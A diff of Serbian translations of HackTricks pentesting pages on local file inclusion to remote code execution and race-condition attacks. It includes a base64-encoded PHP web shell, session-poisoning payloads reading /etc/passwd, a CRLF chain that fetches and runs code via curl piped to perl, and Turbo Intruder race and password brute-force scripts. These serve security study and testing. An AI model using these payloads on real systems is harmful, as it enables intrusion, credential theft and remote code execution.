example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||||
```
|
```
|
||||||
### Kroz PHP sessions
|
### Putem PHP sessions
|
||||||
|
|
||||||
Proverite da li sajt koristi PHP Session (PHPSESSID)
|
Proverite da li sajt koristi PHP Session (PHPSESSID)
|
||||||
```
|
```
|
||||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||||
```
|
```
|
||||||
U PHP-u ove sesije se čuvaju u _/var/lib/php5/sess\\_\[PHPSESSID]\_ fajlovima
|
U PHP-u ove sesije se čuvaju u _/var/lib/php5/sess\\_\[PHPSESSID]\_ datotekama
|
||||||
```
|
```
|
||||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||||
@ -545,90 +545,90 @@ Postavite cookie na `<?php system('cat /etc/passwd');?>`
|
|||||||
```
|
```
|
||||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||||
```
|
```
|
||||||
Iskoristi LFI da uključiš PHP session fajl
|
Iskoristite LFI da uključite PHP session file
|
||||||
```
|
```
|
||||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||||
```
|
```
|
||||||
### Preko ssh
|
### Putem ssh
|
||||||
|
|
||||||
Ako je ssh aktivan, proverite koji korisnik se koristi (/proc/self/status & /etc/passwd) i pokušajte da pristupite **\<HOME>/.ssh/id_rsa**
|
Ako je ssh aktivan, proveri koji je korisnik u upotrebi (/proc/self/status & /etc/passwd) i pokušaj da pristupiš **\<HOME>/.ssh/id_rsa**
|
||||||
|
|
||||||
### **Preko** **vsftpd** _**logs**_
|
### **Putem** **vsftpd** _**logova**_
|
||||||
|
|
||||||
Logovi FTP servera vsftpd se nalaze u _**/var/log/vsftpd.log**_. U scenariju gde postoji Local File Inclusion (LFI) ranjivost, i pristup izloženom vsftpd serveru je moguć, sledeći koraci se mogu razmotriti:
|
Logovi FTP servera vsftpd nalaze se na _**/var/log/vsftpd.log**_. U scenariju gde postoji Local File Inclusion (LFI) ranjivost i pristup izloženom vsftpd serveru je moguć, mogu se razmotriti sledeći koraci:
|
||||||
|
|
||||||
1. Inject a PHP payload into the username field during the login process.
|
1. Ubaci PHP payload u polje za korisničko ime tokom procesa prijave.
|
||||||
2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_.
|
2. Nakon injekcije, iskoristi LFI za preuzimanje server logova sa _**/var/log/vsftpd.log**_.
|
||||||
|
|
||||||
### Via php base64 filter (using base64)
|
### Putem php base64 filter (using base64)
|
||||||
|
|
||||||
Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Možete to iskoristiti da zaobiđete proveru ekstenzije fajla: ako pošaljete base64 koji se završava sa ".php", filter će jednostavno ignorisati "." i pripojiti "php" base64-u. Evo primera payload-a:
|
Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) članku, PHP base64 filter jednostavno ignoriše Non-base64. Možeš to iskoristiti da zaobiđeš proveru ekstenzije fajla: ako dostaviš base64 koji se završava sa ".php", filter će jednostavno ignorisati "." i pripojiti "php" base64-u. Evo primera payload-a:
|
||||||
```url
|
```url
|
||||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||||
|
|
||||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||||
```
|
```
|
||||||
### Preko php filters (nije potreban fajl)
|
### Putem php filters (no file needed)
|
||||||
|
|
||||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)objašnjava da možete koristiti **php filters da generišete proizvoljan sadržaj** kao izlaz. Što u suštini znači da možete **generisati proizvoljan php code** za include **bez potrebe da ga upisujete** u fajl.
|
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters** da generišete proizvoljan sadržaj kao izlaz. To u suštini znači da možete **generate arbitrary php code** za include **without needing to write** ga u fajl.
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-php-filters.md
|
lfi2rce-via-php-filters.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Preko segmentation fault
|
### Putem segmentation fault
|
||||||
|
|
||||||
**Otpremite** fajl koji će biti sačuvan kao **temporary** u `/tmp`, zatim u **istom zahtevu,** izazovite **segmentation fault**, i tada **privremeni fajl se neće obrisati** i možete ga potražiti.
|
**Upload**-ujte fajl koji će biti privremeno smešten u `/tmp`, zatim u **istom zahtevu** izazovajte **segmentation fault**, i tada **privremeni fajl neće biti obrisan** i možete ga potražiti.
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-segmentation-fault.md
|
lfi2rce-via-segmentation-fault.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Preko Nginx temp file storage
|
### Putem Nginx temp file storage
|
||||||
|
|
||||||
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
|
Ako ste pronašli **Local File Inclusion** i **Nginx** radi ispred PHP-a, možda ćete moći da dobijete RCE korišćenjem sledeće tehnike:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-nginx-temp-files.md
|
lfi2rce-via-nginx-temp-files.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Preko PHP_SESSION_UPLOAD_PROGRESS
|
### Putem PHP_SESSION_UPLOAD_PROGRESS
|
||||||
|
|
||||||
Ako ste otkrili **Local File Inclusion** čak i ako **nemate sesiju** i `session.auto_start` je `Off`. Ako pošaljete **`PHP_SESSION_UPLOAD_PROGRESS`** u **multipart POST** podacima, PHP će **omogućiti sesiju za vas**. Ovo možete zloupotrebiti da dobijete RCE:
|
Ako ste pronašli **Local File Inclusion**, čak i ako **nemate session** i `session.auto_start` je `Off`. Ako u multipart POST podacima pošaljete vrednost za **`PHP_SESSION_UPLOAD_PROGRESS`**, PHP će **omogućiti session za vas**. Ovo možete zloupotrebiti da dobijete RCE:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
via-php_session_upload_progress.md
|
via-php_session_upload_progress.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Preko temp file uploads u Windows
|
### Putem temp file uploads in Windows
|
||||||
|
|
||||||
Ako ste otkrili **Local File Inclusion** i server radi na **Windows**, možda ćete dobiti **RCE**:
|
Ako ste pronašli **Local File Inclusion** i server radi na **Windows**, možda možete dobiti RCE:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-temp-file-uploads.md
|
lfi2rce-via-temp-file-uploads.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Preko `pearcmd.php` + URL args
|
### Putem `pearcmd.php` + URL args
|
||||||
|
|
||||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripta `/usr/local/lib/phppearcmd.php` postoji po defaultu u php docker images. Štaviše, moguće je proslediti argumente skripti preko URL-a zato što je naznačeno da ako URL param nema `=`, treba ga koristiti kao argument. Pogledajte takođe [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) i [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||||
|
|
||||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||||
```bash
|
```bash
|
||||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||||
```
|
```
|
||||||
Ispod se zloupotrebljava CRLF vuln da bi se dobio RCE (iz [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
Sledeće zloupotrebljava CRLF vuln da bi dobilo RCE (preuzeto sa [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||||
```
|
```
|
||||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||||
%0d%0a
|
%0d%0a
|
||||||
```
|
```
|
||||||
### Preko phpinfo() (file_uploads = on)
|
### Kroz phpinfo() (file_uploads = on)
|
||||||
|
|
||||||
Ako ste pronašli **Local File Inclusion** i fajl koji otkriva **phpinfo()** sa file_uploads = on, možete dobiti RCE:
|
Ako ste pronašli **Local File Inclusion** i fajl koji otkriva **phpinfo()** sa file_uploads = on, možete dobiti RCE:
|
||||||
|
|
||||||
@ -637,30 +637,30 @@ Ako ste pronašli **Local File Inclusion** i fajl koji otkriva **phpinfo()** sa
|
|||||||
lfi2rce-via-phpinfo.md
|
lfi2rce-via-phpinfo.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Preko compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
### Kroz compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||||
|
|
||||||
Ako ste pronašli **Local File Inclusion** i možete exfiltrate putanju temp fajla ALI **server** proverava da li **fajl koji će biti uključen ima PHP oznake**, možete pokušati da zaobiđete tu proveru ovom **Race Condition**:
|
Ako ste pronašli **Local File Inclusion** i možete **exfiltrate the path** privremenog fajla, ALI **server** proverava da li **fajl koji se uključuje ima PHP marks**, možete pokušati da **zaobiđete tu proveru** pomoću ove **Race Condition**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Preko eternal waiting + bruteforce
|
### Kroz eternal waiting + bruteforce
|
||||||
|
|
||||||
Ako možete zloupotrebiti LFI da **upload temporary files** i naterate server da PHP izvršenje **hang**, onda možete satima **brute force** imena fajlova da biste pronašli privremeni fajl:
|
Ako možete zloupotrebiti LFI da **upload temporary files** i naterate server da **hang** PHP izvršavanje, možete potom **brute force filenames during hours** da biste pronašli privremeni fajl:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-eternal-waiting.md
|
lfi2rce-via-eternal-waiting.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Do Fatal Error
|
### Do fatalne greške
|
||||||
|
|
||||||
Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Treba da uključite isti fajl 2 puta da biste izazvali tu grešku).
|
Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Potrebno je uključiti isti fajl 2 puta da biste izazvali tu grešku).
|
||||||
|
|
||||||
**Ne znam koliko je ovo korisno, ali možda jeste.**\
|
**Ne znam kako je ovo korisno, ali možda jeste.**\
|
||||||
_Čak i ako izazovete PHP Fatal Error, PHP privremeni fajlovi koji su upload-ovani se brišu._
|
_Čak i ako izazovete PHP Fatal Error, PHP privremeni fajlovi koji su uploadovani se brišu._
|
||||||
|
|
||||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -3,47 +3,47 @@
|
|||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
> Za dublje razumevanje ove tehnike pogledajte originalni izveštaj na [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||||
|
|
||||||
## Unapređivanje Race Condition napada
|
## Unapređivanje Race Condition napada
|
||||||
|
|
||||||
Glavna prepreka za iskorišćavanje race condition je obezbeđivanje da se više zahteva obradi u isto vreme, sa **veoma malom razlikom u vremenu obrade — idealno, manje od 1ms**.
|
Glavna prepreka pri iskorišćavanju race conditions je osigurati da se više zahteva obrađuje istovremeno, sa **veoma malom razlikom u vremenu obrade — idealno manje od 1ms**.
|
||||||
|
|
||||||
Ovde možete pronaći neke tehnike za sinhronizaciju zahteva:
|
Ovde možete pronaći neke tehnike za sinhronizaciju zahteva:
|
||||||
|
|
||||||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||||||
|
|
||||||
- **HTTP/2**: Podržava slanje dva zahteva preko jedne TCP konekcije, što smanjuje uticaj mrežnog jitter-a. Međutim, zbog varijacija na serverskoj strani, dva zahteva možda neće biti dovoljna za konzistentan exploit race condition-a.
|
- **HTTP/2**: Podržava slanje dva zahteva preko jedne TCP konekcije, smanjujući uticaj jitter-a mreže. Međutim, zbog varijacija na server strani, dva zahteva možda neće biti dovoljna za konzistentan race condition exploit.
|
||||||
- **HTTP/1.1 'Last-Byte Sync'**: Omogućava predslanje većine delova 20-30 zahteva, zadržavajući mali fragment, koji se zatim pošalje zajedno, postižući simultani dolazak na server.
|
- **HTTP/1.1 'Last-Byte Sync'**: Omogućava prethodno slanje većine delova 20-30 zahteva, zadržavajući mali fragment koji se potom šalje zajedno, postižući istovremen dolazak do servera.
|
||||||
|
|
||||||
**Priprema za Last-Byte Sync uključuje:**
|
**Priprema za Last-Byte Sync** uključuje:
|
||||||
|
|
||||||
1. Slanje header-a i body podataka minus poslednji bajt bez zatvaranja stream-a.
|
1. Slanje headers i body podataka osim poslednjeg bajta bez završetka stream-a.
|
||||||
2. Pauza od 100ms nakon inicijalnog slanja.
|
2. Pauziranje 100 ms nakon početnog slanja.
|
||||||
3. Onemogućavanje TCP_NODELAY da bi se iskoristio Nagle's algorithm za grupisanje finalnih frejmova.
|
3. Onemogućavanje TCP_NODELAY da bi se iskoristio Nagle's algorithm za grupisanje finalnih frejmova.
|
||||||
4. Pingovanje da bi se zagrejala konekcija.
|
4. Pingovanje da se ugreje konekcija.
|
||||||
|
|
||||||
Naknadno slanje zadržanih frejmova bi trebalo da rezultuje njihovim dolaskom u jednom paketu, što se može verifikovati pomoću Wireshark. Ova metoda se ne primenjuje na statičke fajlove, koji obično nisu uključeni u RC napade.
|
Naknadno slanje zadržanih frejmova trebalo bi da dovede do njihovog dolaska u jednom paketu, što se može verifikovati pomoću Wireshark-a. Ova metoda se ne odnosi na static files, koji obično nisu uključeni u RC attacks.
|
||||||
|
|
||||||
### Prilagođavanje arhitekturi servera
|
### Prilagođavanje arhitekturi servera
|
||||||
|
|
||||||
Razumevanje arhitekture mete je ključno. Front-end serveri mogu rutirati zahteve drugačije, što utiče na tajming. Preemptivno zagrevanje konekcija na serverskoj strani, putem nebitnih zahteva, može normalizovati vreme obrade zahteva.
|
Razumevanje arhitekture ciljnog sistema je ključno. Front-end servers mogu usmeravati zahteve na različite načine, što utiče na tajming. Preemptivno zagrevanje konekcije na server-side, slanjem nebitnih zahteva, može izjednačiti vreme obrade zahteva.
|
||||||
|
|
||||||
#### Rukovanje zaključavanjem na osnovu sesije
|
#### Rukovanje zaključavanjem na osnovu sesije
|
||||||
|
|
||||||
Framework-i poput PHP session handler-a serijalizuju zahteve po sesiji, što može zamaskirati ranjivosti. Korišćenjem različitih session tokena za svaki zahtev možete zaobići ovaj problem.
|
Frameworks kao što je PHP's session handler serijalizuju zahteve po sesiji, što može prikriti ranjivosti. Korišćenje različitih session tokens za svaki zahtev može zaobići ovaj problem.
|
||||||
|
|
||||||
#### Prevazilaženje ograničenja brzine ili resursa
|
#### Prevazilaženje ograničenja brzine ili resursa
|
||||||
|
|
||||||
Ako zagrevanje konekcije nije efektivno, ciljano izazivanje kašnjenja na web serverima kroz poplavu dummy zahteva može omogućiti single-packet attack tako što će inducirati serversko kašnjenje pogodno za race condition.
|
Ukoliko zagrevanje konekcije nije efikasno, namerno izazivanje rate ili resource limit kašnjenja na web serverima, putem poplave dummy zahteva, može olakšati single-packet attack induciranjem server-side kašnjenja pogodnog za race conditions.
|
||||||
|
|
||||||
## Primeri napada
|
## Primeri napada
|
||||||
|
|
||||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Možete poslati zahtev u **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), u zahtevu možete promeniti vrednost koju želite da brute force-ujete za **`%s`** kao u `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` i zatim izaberite **`examples/race-single-packer-attack.py`** iz padajućeg menija:
|
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Možete poslati zahtev u **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), možete promeniti u zahtevu vrednost koju želite brute force-ovati za **`%s`** kao u `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` i zatim izabrati **`examples/race-single-packer-attack.py`** iz padajućeg menija:
|
||||||
|
|
||||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako planirate da **pošaljete različite vrednosti**, možete izmeniti kod ovim koji koristi wordlist iz clipboard-a:
|
Ako planirate **poslati različite vrednosti**, možete izmeniti kod koristeći ovu varijantu koja preuzima wordlist iz clipboard-a:
|
||||||
```python
|
```python
|
||||||
passwords = wordlists.clipboard
|
passwords = wordlists.clipboard
|
||||||
for password in passwords:
|
for password in passwords:
|
||||||
@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1')
|
|||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Ako web ne podržava HTTP2 (samo HTTP1.1), koristite `Engine.THREADED` ili `Engine.BURP` umesto `Engine.BURP2`.
|
> Ako web ne podržava HTTP2 (samo HTTP1.1), koristite `Engine.THREADED` ili `Engine.BURP` umesto `Engine.BURP2`.
|
||||||
|
|
||||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: U slučaju da treba da pošaljete request na 1 endpoint, a zatim više na druge endpoints da biste pokrenuli RCE, možete izmeniti skriptu `race-single-packet-attack.py` ovako:
|
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: U slučaju da treba da pošaljete zahtev na 1 endpoint, a zatim više zahteva na druge endpoints da biste izazvali RCE, možete izmeniti skriptu `race-single-packet-attack.py` na nešto poput:
|
||||||
```python
|
```python
|
||||||
def queueRequests(target, wordlists):
|
def queueRequests(target, wordlists):
|
||||||
engine = RequestEngine(endpoint=target.endpoint,
|
engine = RequestEngine(endpoint=target.endpoint,
|
||||||
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||||||
# send all the queued requests for this attempt
|
# send all the queued requests for this attempt
|
||||||
engine.openGate(currentAttempt)
|
engine.openGate(currentAttempt)
|
||||||
```
|
```
|
||||||
- Takođe je dostupno u **Repeater** putem nove opcije '**Send group in parallel**' u Burp Suite.
|
- Takođe je dostupan u **Repeater** preko nove opcije '**Send group in parallel**' u Burp Suite.
|
||||||
- Za **limit-overrun** možete jednostavno dodati **isti request 50 puta** u grupu.
|
- Za **limit-overrun** možete jednostavno dodati **isti request 50 puta** u grupu.
|
||||||
- Za **connection warming**, možete **dodati** na **početku** **grupe** neke **requests** ka nekim nestatičnim delovima web servera.
|
- Za **connection warming** možete **dodati** na **početku** **grupe** neke **requests** ka nekom ne-statičnom delu web servera.
|
||||||
- Za **delaying** procesa **između** obrade **jednog requesta i drugog** u 2 substates koraka, možete **dodati dodatne requests između** oba requesta.
|
- Za **delaying** procesa **između** obrade **jednog requesta i drugog** u procesu sa 2 podstanja, možete **dodati dodatne requests između** oba requesta.
|
||||||
- Za **multi-endpoint** RC možete početi slanjem **requesta** koji **ide u hidden state**, a zatim odmah nakon njega **50 requests** koji **eksploatišu hidden state**.
|
- Za **multi-endpoint** RC možete početi slanjem **requesta** koji **ide ka skrivenom stanju**, a zatim odmah nakon njega poslati **50 requests** koji **iskoriste skriveno stanje**.
|
||||||
|
|
||||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
- **Automated python script**: Cilj ovog skripta je promeniti email korisnika dok ga kontinuirano verifikuje sve dok verifikacioni token novog emaila ne stigne na poslednji email (ovo zato što je u kodu uočena RC gde je bilo moguće izmeniti email, ali da se verifikacija pošalje na stari jer je varijabla koja ukazuje na email već bila popunjena prvom vrednošću).\
|
- **Automatizovani python skript**: Cilj ovog skripta je promeniti email korisnika dok ga kontinuirano verifikuje sve dok verifikacioni token novog emaila ne stigne na poslednju email adresu (ovo je zato što je u kodu primećen RC gde je bilo moguće izmeniti email ali imati verifikaciju poslatu na stari jer je promenljiva koja pokazuje email već bila popunjena prvom adresom).\
|
||||||
Kada se u primljenim emailovima pronađe reč "objetivo", znamo da smo primili verifikacioni token promenjenog emaila i završavamo napad.
|
Kada se reč "objetivo" pronađe u primljenim emailovima, znamo da smo primili verifikacioni token izmenjenog emaila i završavamo napad.
|
||||||
```python
|
```python
|
||||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||||
# Script from victor to solve a HTB challenge
|
# Script from victor to solve a HTB challenge
|
||||||
@ -217,21 +217,29 @@ h2_conn.close_connection()
|
|||||||
|
|
||||||
response = requests.get(url, verify=False)
|
response = requests.get(url, verify=False)
|
||||||
```
|
```
|
||||||
### Poboljšanje Single Packet Attack
|
#### Turbo Intruder: engine and gating notes
|
||||||
|
|
||||||
U originalnom istraživanju objašnjeno je da ovaj napad ima ograničenje od 1,500 bajtova. Međutim, u [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) objašnjeno je kako je moguće proširiti ograničenje od 1,500 bajtova single packet attack-a na **65,535 B window limitation of TCP by using IP layer fragmentation** (podelom jednog paketa na više IP paketa) i slanjem fragmenata u različitom redosledu, što onemogućava ponovno spajanje paketa dok svi fragmenti ne stignu na server. Ova tehnika je istraživaču omogućila da pošalje 10,000 zahteva za oko 166ms.
|
- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the single‑packet attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 last‑byte sync.
|
||||||
|
- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
|
||||||
|
- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
|
||||||
|
- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames.
|
||||||
|
|
||||||
Imajte na umu da, iako ovo poboljšanje čini napad pouzdanijim u RC situacijama kojima je potrebno da stotine/hiljade paketa stignu istovremeno, može imati i softverska ograničenja. Neki popularni HTTP serveri kao što su Apache, Nginx i Go imaju strogo podešavanje `SETTINGS_MAX_CONCURRENT_STREAMS` na 100, 128 i 250. Međutim, drugi kao NodeJS i nghttp2 imaju to neograničeno.\
|
|
||||||
Ovo u suštini znači da će Apache uzeti u obzir samo 100 HTTP konekcija iz jedne TCP konekcije (ograničavajući ovaj RC napad).
|
|
||||||
|
|
||||||
Možete pronaći neke primere koji koriste ovu tehniku u repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
### Improving Single Packet Attack
|
||||||
|
|
||||||
|
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.
|
||||||
|
|
||||||
|
Note that although this improvement makes the attack more reliable in RC that requiers hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, other like NodeJS and nghttp2 has it unlimited.\
|
||||||
|
This basically mean that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack).
|
||||||
|
|
||||||
|
You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||||||
|
|
||||||
## Raw BF
|
## Raw BF
|
||||||
|
|
||||||
Pre prethodnog istraživanja, korišćeni su neki payloadi koji su samo pokušavali da pošalju pakete što brže kako bi izazvali RC.
|
Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
|
||||||
|
|
||||||
- **Repeater:** Proverite primere iz prethodnog odeljka.
|
- **Repeater:** Check the examples from the previous section.
|
||||||
- **Intruder**: Pošaljite **request** u **Intruder**, podesite **number of threads** na **30** u **Options menu**, izaberite kao payload **Null payloads** i generišite **30.**
|
- **Intruder**: Send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.**
|
||||||
- **Turbo Intruder**
|
- **Turbo Intruder**
|
||||||
```python
|
```python
|
||||||
def queueRequests(target, wordlists):
|
def queueRequests(target, wordlists):
|
||||||
@ -279,75 +287,75 @@ print(results)
|
|||||||
|
|
||||||
asyncio.run(main())
|
asyncio.run(main())
|
||||||
```
|
```
|
||||||
## **RC Metodologija**
|
## **RC metodologija**
|
||||||
|
|
||||||
### Prekoračenje ograničenja / TOCTOU
|
### Prekoračenje limita / TOCTOU
|
||||||
|
|
||||||
Ovo je najosnovniji tip race condition-a gde se **vulnerabilities** pojavljuju na mestima koja **ograničavaju broj puta kada možete izvršiti neku akciju**. Na primer, korišćenje istog discount code-a više puta u web prodavnici. Veoma jednostavan primer može se naći u [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ili u [**this bug**](https://hackerone.com/reports/759247)**.**
|
